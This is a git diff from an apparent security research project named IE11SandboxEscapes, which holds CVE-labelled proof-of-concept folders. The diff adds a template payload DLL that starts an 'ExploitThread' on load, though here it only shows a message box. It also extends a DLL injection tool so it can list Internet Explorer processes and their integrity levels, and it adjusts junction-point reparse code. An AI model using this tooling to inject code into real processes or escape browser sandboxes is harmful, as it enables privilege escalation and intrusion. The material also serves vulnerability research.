diff --git a/CVE-2013-5045/CVE-2013-5045.vcxproj b/CVE-2013-5045/CVE-2013-5045.vcxproj index 285b19b..0848f39 100644 --- a/CVE-2013-5045/CVE-2013-5045.vcxproj +++ b/CVE-2013-5045/CVE-2013-5045.vcxproj @@ -147,7 +147,8 @@ true true true - CVE-2014-0268.def + + diff --git a/CVE-2014-0520/CVE-2014-0520.vcxproj b/CVE-2014-0520/CVE-2014-0520.vcxproj index 5c986e6..098280a 100644 --- a/CVE-2014-0520/CVE-2014-0520.vcxproj +++ b/CVE-2014-0520/CVE-2014-0520.vcxproj @@ -135,6 +135,7 @@ WIN32;NDEBUG;_WINDOWS;_USRDLL;EXPLOITFLASHBROKER_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded + ..\CommonUtils Windows diff --git a/CVE-2014-0520/Misc.cpp b/CVE-2014-0520/Misc.cpp index 5ad708a..5d1c975 100644 --- a/CVE-2014-0520/Misc.cpp +++ b/CVE-2014-0520/Misc.cpp @@ -4,30 +4,6 @@ #include "stdafx.h" #include "FSLinks.h" -bool TMN_REPARSE_DATA_BUFFER::Init(LPCSTR szJunctionPoint) -{ - if (!szJunctionPoint || !*szJunctionPoint) { - return false; - } - - const size_t cchDest = lstrlenA(szJunctionPoint) + 1; - if (cchDest > 512) { - return false; - } - wchar_t wszDestMountPoint[512]; - if (!MultiByteToWideChar(CP_THREAD_ACP, - MB_PRECOMPOSED, - szJunctionPoint, - cchDest, - wszDestMountPoint, - cchDest)) - { - return false; - } - - return Init(wszDestMountPoint); -} - bool TMN_REPARSE_DATA_BUFFER::Init(LPCWSTR wszJunctionPoint) { if (!wszJunctionPoint || !*wszJunctionPoint) { @@ -37,11 +13,11 @@ bool TMN_REPARSE_DATA_BUFFER::Init(LPCWSTR wszJunctionPoint) const size_t nDestMountPointBytes = lstrlenW(wszJunctionPoint) * 2; ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; - ReparseDataLength = nDestMountPointBytes + 12; + ReparseDataLength = (WORD)(nDestMountPointBytes + 12); Reserved = 0; SubstituteNameOffset = 0; - SubstituteNameLength = nDestMountPointBytes; - PrintNameOffset = nDestMountPointBytes + 2; + SubstituteNameLength = (WORD)nDestMountPointBytes; + PrintNameOffset = (WORD)(nDestMountPointBytes + 2); PrintNameLength = 0; lstrcpyW(PathBuffer, wszJunctionPoint); diff --git a/ExampleDll/ExampleDll.cpp b/ExampleDll/ExampleDll.cpp new file mode 100644 index 0000000..43e9970 --- /dev/null +++ b/ExampleDll/ExampleDll.cpp @@ -0,0 +1,23 @@ +// This file is part of IE11SandboxEsacapes. + +// IE11SandboxEscapes is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// IE11SandboxEscapes is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with IE11SandboxEscapes. If not, see . + +#include "stdafx.h" + +DWORD CALLBACK ExploitThread(LPVOID hModule) +{ + MessageBox(nullptr, L"Hello", L"Hello", MB_OK); + + FreeLibraryAndExitThread((HMODULE)hModule, 0); +} \ No newline at end of file diff --git a/ExampleDll/ExampleDll.vcxproj b/ExampleDll/ExampleDll.vcxproj new file mode 100644 index 0000000..2bebd93 --- /dev/null +++ b/ExampleDll/ExampleDll.vcxproj @@ -0,0 +1,185 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6} + Win32Proj + EXAMPLEDLL + ExampleDll + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + + + + + + false + false + + + + + false + false + + + + + + + Create + Create + Create + Create + + + + + {04dde547-bb65-4c0c-b80b-231df42c7a1d} + + + + + + \ No newline at end of file diff --git a/ExampleDll/dllmain.cpp b/ExampleDll/dllmain.cpp new file mode 100644 index 0000000..042cf2c --- /dev/null +++ b/ExampleDll/dllmain.cpp @@ -0,0 +1,23 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +DWORD CALLBACK ExploitThread(LPVOID hModule); + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/ExampleDll/stdafx.cpp b/ExampleDll/stdafx.cpp new file mode 100644 index 0000000..11763c7 --- /dev/null +++ b/ExampleDll/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// CVE-2014-0268.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/ExampleDll/stdafx.h b/ExampleDll/stdafx.h new file mode 100644 index 0000000..562cb0a --- /dev/null +++ b/ExampleDll/stdafx.h @@ -0,0 +1,11 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include diff --git a/ExampleDll/targetver.h b/ExampleDll/targetver.h new file mode 100644 index 0000000..87c0086 --- /dev/null +++ b/ExampleDll/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/IE11SandboxEscapes.sln b/IE11SandboxEscapes.sln index 5796245..9257fea 100644 --- a/IE11SandboxEscapes.sln +++ b/IE11SandboxEscapes.sln @@ -21,6 +21,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2014-0520", "CVE-2014-0 EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DumpElevationPolicy", "DumpElevationPolicy\DumpElevationPolicy.csproj", "{57846C94-644E-41C1-A869-81FCB22C2FBB}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ExampleDll", "ExampleDll\ExampleDll.vcxproj", "{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -156,7 +158,23 @@ Global {57846C94-644E-41C1-A869-81FCB22C2FBB}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU {57846C94-644E-41C1-A869-81FCB22C2FBB}.Release|Mixed Platforms.Build.0 = Release|Any CPU {57846C94-644E-41C1-A869-81FCB22C2FBB}.Release|Win32.ActiveCfg = Release|Any CPU + {57846C94-644E-41C1-A869-81FCB22C2FBB}.Release|Win32.Build.0 = Release|Any CPU {57846C94-644E-41C1-A869-81FCB22C2FBB}.Release|x64.ActiveCfg = Release|Any CPU + {57846C94-644E-41C1-A869-81FCB22C2FBB}.Release|x64.Build.0 = Release|Any CPU + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Debug|Any CPU.ActiveCfg = Debug|Win32 + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Debug|Mixed Platforms.ActiveCfg = Debug|Win32 + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Debug|Mixed Platforms.Build.0 = Debug|Win32 + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Debug|Win32.ActiveCfg = Debug|Win32 + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Debug|Win32.Build.0 = Debug|Win32 + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Debug|x64.ActiveCfg = Debug|x64 + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Debug|x64.Build.0 = Debug|x64 + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Release|Any CPU.ActiveCfg = Release|Win32 + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Release|Mixed Platforms.ActiveCfg = Release|Win32 + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Release|Mixed Platforms.Build.0 = Release|Win32 + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Release|Win32.ActiveCfg = Release|Win32 + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Release|Win32.Build.0 = Release|Win32 + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Release|x64.ActiveCfg = Release|x64 + {35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Release|x64.Build.0 = Release|x64 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/InjectDll/InjectDll.cpp b/InjectDll/InjectDll.cpp index 4dfba1f..c090a9f 100644 --- a/InjectDll/InjectDll.cpp +++ b/InjectDll/InjectDll.cpp @@ -1,19 +1,22 @@ // This file is part of IE11SandboxEsacapes. - +// // IE11SandboxEscapes is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. - +// // IE11SandboxEscapes is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. - +// // You should have received a copy of the GNU General Public License // along with IE11SandboxEscapes. If not, see . #include "stdafx.h" +#include +#include +#include BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { @@ -52,15 +55,159 @@ BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) return TRUE; } +struct IEProcessEntry +{ + DWORD pid; + DWORD ppid; + std::vector> children; + bool low_integrity; +}; + +bool IsLowIntegrity(DWORD pid) +{ + HANDLE hToken; + HANDLE hProcess; + + DWORD dwLengthNeeded; + DWORD dwError = ERROR_SUCCESS; + + PTOKEN_MANDATORY_LABEL pTIL = NULL; + DWORD dwIntegrityLevel = SECURITY_MANDATORY_MEDIUM_RID; + + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); + if (hProcess) + { + if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) + { + // Get the Integrity level. + if (!GetTokenInformation(hToken, TokenIntegrityLevel, + NULL, 0, &dwLengthNeeded)) + { + dwError = GetLastError(); + if (dwError == ERROR_INSUFFICIENT_BUFFER) + { + pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, + dwLengthNeeded); + if (pTIL != NULL) + { + if (GetTokenInformation(hToken, TokenIntegrityLevel, + pTIL, dwLengthNeeded, &dwLengthNeeded)) + { + dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid, + (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1)); + } + LocalFree(pTIL); + } + } + } + CloseHandle(hToken); + } + CloseHandle(hProcess); + } + + return dwIntegrityLevel < SECURITY_MANDATORY_MEDIUM_RID; +} + +void ListIEProcesses() +{ + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + DWORD current_session; + + ProcessIdToSessionId(GetCurrentProcessId(), ¤t_session); + + if(hSnapshot == INVALID_HANDLE_VALUE) + { + printf("Error listing processes: %d\n", GetLastError()); + return; + } + + PROCESSENTRY32 pe32; + std::map> ie_processes; + + pe32.dwSize = sizeof(pe32); + + if (Process32First(hSnapshot, &pe32)) + { + do + { + DWORD session_id; + + if (!ProcessIdToSessionId(pe32.th32ProcessID, &session_id) || (session_id != current_session)) + { + continue; + } + + LPCWSTR lastSlash = wcsrchr(pe32.szExeFile, L'\\'); + if (lastSlash == nullptr) + { + lastSlash = pe32.szExeFile; + } + else + { + lastSlash++; + } + + if (_wcsicmp(lastSlash, L"iexplore.exe") == 0) + { + std::shared_ptr entry(new IEProcessEntry()); + + entry->pid = pe32.th32ProcessID; + entry->ppid = pe32.th32ParentProcessID; + entry->low_integrity = IsLowIntegrity(entry->pid); + ie_processes[pe32.th32ProcessID] = entry; + } + + } while (Process32Next(hSnapshot, &pe32)); + } + + CloseHandle(hSnapshot); + + if (!ie_processes.empty()) + { + for (auto i : ie_processes) + { + auto found = ie_processes.find(i.second->ppid); + if (found != ie_processes.end()) + { + found->second->children.push_back(i.second); + } + } + + // Print the tree + for (auto i : ie_processes) + { + if (!i.second->children.empty()) + { + printf("[%d] - %s\n", i.second->pid, i.second->low_integrity ? "Low" : "Medium"); + for (auto c : i.second->children) + { + printf(" |-- [%d] - %s\n", c->pid, c->low_integrity ? "Low" : "Medium"); + } + } + } + } +} + +void PrintHelp() +{ + printf("Usage: InjectDll -l|pid PathToDll\n"); + printf("Specify -l to list all IE processes running in the current session\n"); +} int _tmain(int argc, _TCHAR* argv[]) { - if(argc < 3) + if((argc < 2) || (_tcscmp(argv[1], L"-l") && (argc < 3))) { - printf("Usage: InjectDll pid PathToDll\n"); + PrintHelp(); return 1; } + if (_tcscmp(argv[1], L"-l") == 0) + { + ListIEProcesses(); + return 0; + } + WCHAR path[MAX_PATH]; GetFullPathName(argv[2], MAX_PATH, path, nullptr); diff --git a/InjectDll/stdafx.h b/InjectDll/stdafx.h index 83ad88a..c21f64f 100644 --- a/InjectDll/stdafx.h +++ b/InjectDll/stdafx.h @@ -10,3 +10,4 @@ #include #include #include +#include